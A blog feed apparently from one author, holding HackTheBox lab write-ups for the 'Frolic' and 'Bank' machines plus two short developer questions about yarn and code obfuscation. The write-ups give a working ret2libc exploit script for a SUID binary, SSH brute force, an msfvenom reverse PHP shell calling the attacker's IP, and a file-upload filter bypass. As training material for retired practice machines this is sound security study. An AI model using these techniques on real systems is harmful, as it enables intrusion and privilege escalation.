Here we go again. This content looks like it is hex-encoded. I head over to CyberChef, provided by the wonderful GCHQ. If you'd rather not use their GitHUb Pages site, CyberChef can be downloaded and run entirely locally from an html file and some js.

The hex-decoded content is easily identifiable as base64 so I add that rule to CyberChef and see the result.

I know from past CTF experiences that this is the beloved brainfuck programming language. There is another decoder to use, https://www.dcode.fr/brainfuck-language, and this reveals the content:

idkwhatispass

Seems I've reached the end of this exercise, and got what is probably a password to something.

I don't have a clear next direction, so I return to performing additional enumeration. I run gobuster against the directories I've previously found and discover a few additional items under /dev.

gobuster dir -t 30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.111:9999/dev/ -x txt,php

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.111:9999/dev/
[+] Threads:        30
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt,php
[+] Timeout:        10s
===============================================================
2020/06/24 15:45:12 Starting gobuster
===============================================================
/test (Status: 200)
/backup (Status: 301)
===============================================================
2020/06/24 15:53:17 Finished
===============================================================

Navigating to http://10.10.10.111:9999/dev/backup returns a page with the content /playsms. http://10.10.10.111:9999/dev/backup/playsms doesn't return anything. http://10.10.10.111:9999/playsms resolves, however, and gives me a login page for PlaySMS.

The default PlaySMS user is admin. I take the password I found, idkwhatispass, and successfully login to the service.

Additionally, it appears that PlaySMS is vulnerable to several exploits.

searchsploit playsms
------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                 |  Path
------------------------------------------------------------------------------- ---------------------------------
PlaySMS - 'import.php' (Authenticated) CSV File Upload Code Execution (Metaspl | php/remote/44598.rb
PlaySMS - index.php Unauthenticated Template Injection Code Execution (Metaspl | php/remote/48335.rb
PlaySms 0.7 - SQL Injection                                                    | linux/remote/404.pl
PlaySms 0.8 - 'index.php' Cross-Site Scripting                                 | php/webapps/26871.txt
PlaySms 0.9.3 - Multiple Local/Remote File Inclusions                          | php/webapps/7687.txt
PlaySms 0.9.5.2 - Remote File Inclusion                                        | php/webapps/17792.txt
PlaySms 0.9.9.2 - Cross-Site Request Forgery                                   | php/webapps/30177.txt
PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Up | php/webapps/42003.txt
PlaySMS 1.4 - 'import.php' Remote Code Execution                               | php/webapps/42044.txt
PlaySMS 1.4 - 'sendfromfile.php?Filename' (Authenticated) 'Code Execution (Met | php/remote/44599.rb
PlaySMS 1.4 - Remote Code Execution                                            | php/webapps/42038.txt
PlaySMS 1.4.3 - Template Injection / Remote Code Execution                     | php/webapps/48199.txt
------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Most interesting to me is the code execution module in Metasploit. Let's try it out. Searching in Metasploit, I find three modules relevant to playsms.

exploit/multi/http/playsms_filename_exec
exploit/multi/http/playsms_template_injection
exploit/multi/http/playsms_uploadcsv_exec

The searchsploit results mentioned CSV File Upload Code Execution so I'll try the third module. It gets me a user shell as www-data.

Time to move to Information Gathering on the target system.

I see that there are two users on the system, ayush and sahay.

www-data@frolic:~/html/playsms$ ls -la /home
ls -la /home
total 16
drwxr-xr-x  4 root  root  4096 Sep 23  2018 .
drwxr-xr-x 22 root  root  4096 Sep 23  2018 ..
drwxr-xr-x  3 ayush ayush 4096 Sep 25  2018 ayush
drwxr-xr-x  7 sahay sahay 4096 Sep 25  2018 sahay

I have collected several passwords at this point, so let's try brute forcing an SSH login as either of these two users with any of those passwords.

hydra -L users.txt -P passwords.txt ssh://10.10.10.111

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-06-24 16:08:05
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:2/p:4), ~1 try per task
[DATA] attacking ssh://10.10.10.111:22/
1 of 1 target completed, 0 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-06-24 16:08:08

It is not successful. However, I can read the user flag from /home/ayush/user.txt as the www-data user.

In the ayush home directory, there is a .binary directory with a SETUID binary.

www-data@frolic:/home/ayush/.binary$ ls -la
ls -la
total 16
drwxrwxr-x 2 ayush ayush 4096 Sep 25  2018 .
drwxr-xr-x 3 ayush ayush 4096 Sep 25  2018 ..
-rwsr-xr-x 1 root  root  7480 Sep 25  2018 rop

The fact that it has the SUID sticky bit set (-rws) means that when I execute this file, I will execute it with the privileges of the user of the file, which is root. That this file is named rop (return oriented programming) makes me think this will require a buffer overflow.

Sure enough, inspecting the system calls that the binary makes with ltrace shows that it runs setuid(0) to run as root and then copies our input into a buffer.

www-data@frolic:/home/ayush/.binary$ ltrace ./rop id
ltrace ./rop id
__libc_start_main(0x804849b, 2, 0xbffffe84, 0x8048540 <unfinished ...>
setuid(0)                                        = -1
strcpy(0xbffffd88, "id")                         = 0xbffffd88
printf("[+] Message sent: ")                     = 18
printf("id")                                     = 2
+++ exited (status 0) +++

I can confirm a vulnerable buffer overflow by sending in some large input.

www-data@frolic:/home/ayush/.binary$ ./rop AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
Segmentation fault (core dumped)

I got a segfault, so there's a buffer overflow here. Because it has the SUID bit set, I am sure this is how to escalate my privileges.

I begin by identifying the overflow offset - the amount of input at which the buffer begins to overflow. I use pattern_create and pattern_offset on Kali to identify this.

I base64-encode the rop file, copy the base64 result, and decode it on my local machine so I can develop an exploit against this file.

gdp ./rop

artis3n@kali-pop:~/shares/htb/frolic$ msf-pattern_create -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Using this pattern as the input to rop, gdb tells me what was in the buffer at the time I hit the segfault.

gdb-peda$ r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x62413762 in ?? ()

I take 0x62413762 and pass it to pattern_offset to identify how many bytes long I need to pad my payload to overflow the buffer.

artis3n@kali-pop:~$ msf-pattern_offset -q 0x62413762
[*] Exact match at offset 52

52 it is.

Now returning to the target machine, I need to get the memory address of the libc library used by the file.

www-data@frolic:/home/ayush/.binary$ ldd rop
ldd rop
        linux-gate.so.1 =>  (0xb7fda000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
        /lib/ld-linux.so.2 (0xb7fdb000)

I see that it is using /lib/i386-linux-gnu/libc.so.6 from the 0xb7e19000 address in memory.

I then need to grab the memory location of several symbols from libc.so.6 so I can invoke them in our exploit. From libc.so.6 I need the memory address of the executables system, exit, and /bin/sh. Knowing these, I can craft an exploit known as ret2libc, or "return-to-libc."

www-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i system
grep -i systemb/i386-linux-gnu/libc.so.6 |  
   245: 00112f20    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   627: 0003ada0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

The memory address of system@@GLIBC_2.0 is 0x0003ada0.

www-data@frolic:~/html/playsms$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i exit  
-i exit -s /lib/i386-linux-gnu/libc.so.6 | grep  
   112: 0002edc0    39 FUNC    GLOBAL DEFAULT   13 __cxa_at_quick_exit@@GLIBC_2.10
   141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
   450: 0002edf0   197 FUNC    GLOBAL DEFAULT   13 __cxa_thread_atexit_impl@@GLIBC_2.18
   558: 000b07c8    24 FUNC    GLOBAL DEFAULT   13 _exit@@GLIBC_2.0
   616: 00115fa0    56 FUNC    GLOBAL DEFAULT   13 svc_exit@@GLIBC_2.0
   652: 0002eda0    31 FUNC    GLOBAL DEFAULT   13 quick_exit@@GLIBC_2.10
   876: 0002ebf0    85 FUNC    GLOBAL DEFAULT   13 __cxa_atexit@@GLIBC_2.1.3
  1046: 0011fb80    52 FUNC    GLOBAL DEFAULT   13 atexit@GLIBC_2.0
  1394: 001b2204     4 OBJECT  GLOBAL DEFAULT   33 argp_err_exit_status@@GLIBC_2.1
  1506: 000f3870    58 FUNC    GLOBAL DEFAULT   13 pthread_exit@@GLIBC_2.0
  1849: 000b07c8    24 FUNC    WEAK   DEFAULT   13 _Exit@@GLIBC_2.1.1
  2108: 001b2154     4 OBJECT  GLOBAL DEFAULT   33 obstack_exit_failure@@GLIBC_2.0
  2263: 0002e9f0    78 FUNC    WEAK   DEFAULT   13 on_exit@@GLIBC_2.0
  2406: 000f4c80     2 FUNC    GLOBAL DEFAULT   13 __cyg_profile_func_exit@@GLIBC_2.2

The memory address of exit@@GLIBC_2.0 is 0x0002e9d0.

For /bin/sh, since it is not a system call, I have to find the memory address by grepping for it among the human-readable text in libc.so.6.

www-data@frolic:~/html/playsms$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
p "/bin/sh"x /lib/i386-linux-gnu/libc.so.6 | gre 
 15ba0b /bin/sh

And I see the memory address of /bin/sh is 0x0015ba0b.

I put all of this together in a Python exploit.

#!/usr/bin/env python

import struct

buffersled = "A"*52

libc = 0xb7e19000
system = struct.pack('<I', libc + 0x0003ada0)
exit = struct.pack('<I', libc + 0x0002e9d0)
binsh = struct.pack('<I', libc + 0x0015ba0b)

payload = buffersled + system + exit + binsh

print payload

The memory addresses I got for system, exit, and /bin/sh are in relation to the memory address of libc, so I need to add the hex value of each memory address to libc's hex value to get the correct position in memory. I pack the memory addresses with <I for little-endian. And I print the payload to turn it into the input for our rop program.

I test the python script and see it does appear to generate the 52-byte buffer sled and then my hex code. I base64-encode the python script to move it onto my target.

artis3n@kali-pop:~/shares/htb/frolic$ python exploit.py 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�=���y��
                                                            J��
artis3n@kali-pop:~/shares/htb/frolic$ cat exploit.py | base64 -w 0
IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCgppbXBvcnQgc3RydWN0CgpidWZmZXJzbGVkID0gIkEiKjUyCgpsaWJjID0gMHhiN2UxOTAwMApzeXN0ZW0gPSBzdHJ1Y3QucGFjaygnPEknLCBsaWJjICsgMHgwMDAzYWRhMCkKZXhpdCA9IHN0cnVjdC5wYWNrKCc8SScsIGxpYmMgKyAweDAwMDJlOWQwKQpiaW5zaCA9IHN0cnVjdC5wYWNrKCc8SScsIGxpYmMgKyAweDAwMTViYTBiKQoKcGF5bG9hZCA9IGJ1ZmZlcnNsZWQgKyBzeXN0ZW0gKyBleGl0ICsgYmluc2gKCnByaW50IHBheWxvYWQKCg==

I then store the code into a file.

www-data@frolic:/dev/shm$ echo -n IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCgppbXBvcnQgc3RydWN0CgpidWZmZXJzbGVkID0gIkEiKjUyCgpsaWJjID0gMHhiN2UxOTAwMApzeXN0ZW0gPSBzdHJ1Y3QucGFjaygnPEknLCBsaWJjICsgMHgwMDAzYWRhMCkKZXhpdCA9IHN0cnVjdC5wYWNrKCc8SScsIGxpYmMgKyAweDAwMDJlOWQwKQpiaW5zaCA9IHN0cnVjdC5wYWNrKCc8SScsIGxpYmMgKyAweDAwMTViYTBiKQoKcGF5bG9hZCA9IGJ1ZmZlcnNsZWQgKyBzeXN0ZW0gKyBleGl0ICsgYmluc2gKCnByaW50IHBheWxvYWQKCg== | base64 -d > exploit.py

And I can confirm the python script has made it.

www-data@frolic:/dev/shm$ cat exploit.py
cat exploit.py
#!/usr/bin/env python

import struct

buffersled = "A"*52

libc = 0xb7e19000
system = struct.pack('<I', libc + 0x0003ada0)
exit = struct.pack('<I', libc + 0x0002e9d0)
binsh = struct.pack('<I', libc + 0x0015ba0b)

payload = buffersled + system + exit + binsh

print payload

www-data@frolic:/dev/shm$

With my payload on the box, I just need to call rop and pass in the output of the python script's execution. And I get a root shell.

www-data@frolic:/home/ayush/.binary$ ./rop $(python /dev/shm/exploit.py)

./rop $(python /dev/shm/exploit.py)
id
uid=0(root) gid=33(www-data) groups=33(www-data)

I can now collect the root flag.

Writeup: HackTheBox Bank - NO Metasploit

Ari Kalfus — Fri, 26 Jun 2020 22:28:40 +0000

This series will follow my exercises in HackTheBox. All published writeups are for retired HTB machines. Whether
or not I use Metasploit to pwn the server will be indicated in the title.

Bank

Difficulty: Easy

Machine IP: 10.10.10.29

I start off with my customary port scan. I've stopped using AutoRecon for a while now because I found much more value in running specific enumerations myself.

I identify the open ports and then interrogate them for additional information.

sudo nmap -sS -T4 -p- 10.10.10.29

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-06 15:18 EDT
Nmap scan report for 10.10.10.29
Host is up (0.013s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 24.39 seconds

sudo nmap -sS -A -sC -sV -T4 -p 22,53,80 10.10.10.29
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-06 15:19 EDT
Nmap scan report for 10.10.10.29
Host is up (0.016s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_  256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open  domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), Linux 4.9 (95%), Linux 4.2 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                                                          

TRACEROUTE (using port 80/tcp)                                                                                   
HOP RTT      ADDRESS                                                                                             
1   18.16 ms 10.10.14.1                                                                                          
2   18.27 ms 10.10.10.29

A nmap -sU scan shows that udp/53 is open as well.

An item of particular interest to me is that tcp/53 is open. DNS is primarily served over UDP. The tcp/53 port is often used for zone transfers. I will definitely want to try that. Additionally, the Apache web server on tcp/80 will definitely be a primary target during my enumeration.

Now ready to dig into these findings, I attempt a zone transfer. HTB machines usually have the domain name <box>.htb, so I guess that the server is bank.htb. It works! I discover some additional subdomains for this server.

dig axfr @10.10.10.29 bank.htb

; <<>> DiG 9.16.3-Debian <<>> axfr @10.10.10.29 bank.htb
; (1 server found)
;; global options: +cmd
bank.htb.               604800  IN      SOA     bank.htb. chris.bank.htb. 2 604800 86400 2419200 604800
bank.htb.               604800  IN      NS      ns.bank.htb.
bank.htb.               604800  IN      A       10.10.10.29
ns.bank.htb.            604800  IN      A       10.10.10.29
www.bank.htb.           604800  IN      CNAME   bank.htb.
bank.htb.               604800  IN      SOA     bank.htb. chris.bank.htb. 2 604800 86400 2419200 604800
;; Query time: 8 msec
;; SERVER: 10.10.10.29#53(10.10.10.29)
;; WHEN: Sat Jun 06 16:06:36 EDT 2020
;; XFR size: 6 records (messages 1, bytes 171)

Reviewing my notes after the fact, I never actually tried modifying etc/hosts and reaching out to chris.bank.htb. So the zone transfer is likely a red herring. Everything we need is on bank.htb.

So, let's check out the web server. I start enumerating end points with Gobuster, one of my favorite tools. I don't find anything.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://10.10.10.29
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.29
[+] Threads:        10                                                                                            
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/big.txt                                             
[+] Status codes:   200,204,301,302,307,401,403                                                                   
[+] User Agent:     gobuster/3.0.1                                                                                
[+] Timeout:        10s                                                                                           
===============================================================                                                   
2020/06/06 15:26:56 Starting gobuster                                                                             
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/server-status (Status: 403)
===============================================================
2020/06/06 15:27:31 Finished
===============================================================

Hmm... I think about the DNS server again. I modify my etc/resolv.conf file to set my nameserver as the Bank machine:

nameserver 10.10.10.29

I now re-run Gobuster with the bank.htb domain instead of the direct IP. Now we're getting somewhere!

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://bank.htb

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://bank.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/06/06 15:39:26 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/assets (Status: 301)
/inc (Status: 301)
/server-status (Status: 403)
/uploads (Status: 301)
===============================================================
2020/06/06 15:40:03 Finished
===============================================================

Navigating to /inc, I see a directory is exposed and, in particular, a user.php file.

I can't view the contents of the file because my browser will execute the PHP instead of displaying the source, but I take a note of it as I'll likely want to read it once I have a shell on the system.

I don't see anything else of interest so I try Gobuster again, with a larger wordlist.

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://bank.htb/ -t 30

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://bank.htb/
[+] Threads:        30
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/06/06 16:11:55 Starting gobuster
===============================================================
/uploads (Status: 301)
/assets (Status: 301)
/inc (Status: 301)
/server-status (Status: 403)
/balance-transfer (Status: 301)
===============================================================
2020/06/06 16:14:07 Finished
===============================================================

Ah ha! A new endpoint, /balance-transfer. That should be promising. Indeed, navigating to the endpoint reveals a directory with a ton of files.

Looking into some of these files, they appear to be transaction logs of whatever bank this server is pretending to be. I see encrypted credentials in each file. Maybe one of the files has unencrypted credentials?

There are a ton of files in the directory, however, so looking at each one was not going to work out. I notice that all of the files appear to have a size of 584. Some have 583 or 582, but all are around that size. So, I want to see if there was a file that has a significant different size. I use ctrl+f in the browser and search for 58. The gives me a good visual indicator to scroll down the page and identify any file that is out of place. I find one!

This file is only 257 characters long. I navigate to the file and see that it logged a failed transaction. In this case, the encryption failed so it logged the user's credentials in plaintext.

There is a login page at bank.htb/login.php and I use these credentials to login.

Time for more enumeration! I look at what an authenticated user can do. There is a support page at http://bank.htb/support.php and it looks like I can submit a support ticket with a file attachment. By hovering over the attachment link, I see in the bottom left that the attachment is available at http://bank.htb/uploads/.

Ok! I want to upload a PHP web shell. I generate a payload with msfvenom:

msfvenom -p php/reverse_php LHOST=10.10.14.34 LPORT=443 > shell.php

[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 3005 bytes

I try to upload shell.php directly, but get an error.

Only images, huh?

I have been proxying my browser traffic through Burp Suite, so I copy my file upload request and start modifying it. I change the Content-Type from application/php to image/png and set a null terminator on the file name.

This works! But, the .php file does not execute from /uploads. I believe my null terminator broke it. However, inspecting the source of the web page in Burp I find something interesting...

The debug comment says .htb files will execute as .php. I modify my request in Burp to use shell.htb instead of shell.php (and drop the null terminator) and I can upload it successfully!

All right. Let's see if it worked. I start a netcat listener on my machine and navigate to my file in the uploads/ directory. It works and I get a shell as the www-data user!

Time to gather information from the file system and escalate my privileges. I can read the user flag from /home/chris as the www-data user.

www-data@bank:~/bank/uploads$ cd /home/chris
cd /home/chris
www-data@bank:/home/chris$ ls -l
ls -l
total 4
-r--r--r-- 1 chris chris 33 May 29  2017 user.txt

Now for the root shell.

Remembering the user.php file I saw on the /inc endpoint, I navigate to the web server directory and read the file. There is a mysql connection string using root credentials stored in the file. There's nothing I need in the database, though. I spent some time here in a rabiit hole.

Let's run LinEnum!

I copied the file it generated onto my local system to review it, so the colorized text flags are all over it. However, I notice in its list of SUID binaries that a particularly unusual one stands out.

var/htb/bin/emergency... Interesting. I run it. It elevates me to a root shell. Neat. I go ahead and read the root flag in /root/root.txt.

What is the difference between yarn and npm these days?

Ari Kalfus — Tue, 16 Jun 2020 01:40:20 +0000

Back when yarn was first released, the defining feature was yarn's lockfile, which sped up dependency tree resolution and thus the overall install of a project. Well, npm 5 came out with a lockfile a few months later. I don't know if it's anything new, but I've noticed in the last several months that both large community projects, enterprise blog articles, and individual stuff on platforms like dev.to always put the yarn commands first with npm commands as a secondary line, or a comment underneath the yarn command.

Why? Why do people still use yarn? Why does it seem like yarn is preferred these days? What differentiators does it actually have against npm 6.x?

SSR apps - obfuscate your code?

Ari Kalfus — Wed, 10 Jun 2020 01:18:06 +0000

For people producing enterprise / running a SaaS product, let's say in particular a server-side rendered thing or something that React/Vue has statically bundled and a large chunk of your app and it's logic is now the frontend code that gets shipped to your user's browser.

Do you use tools to obfuscate your code to prevent folks from reversing/making off with your SaaS thing? Is that a concern for you? If so, what tools do you use?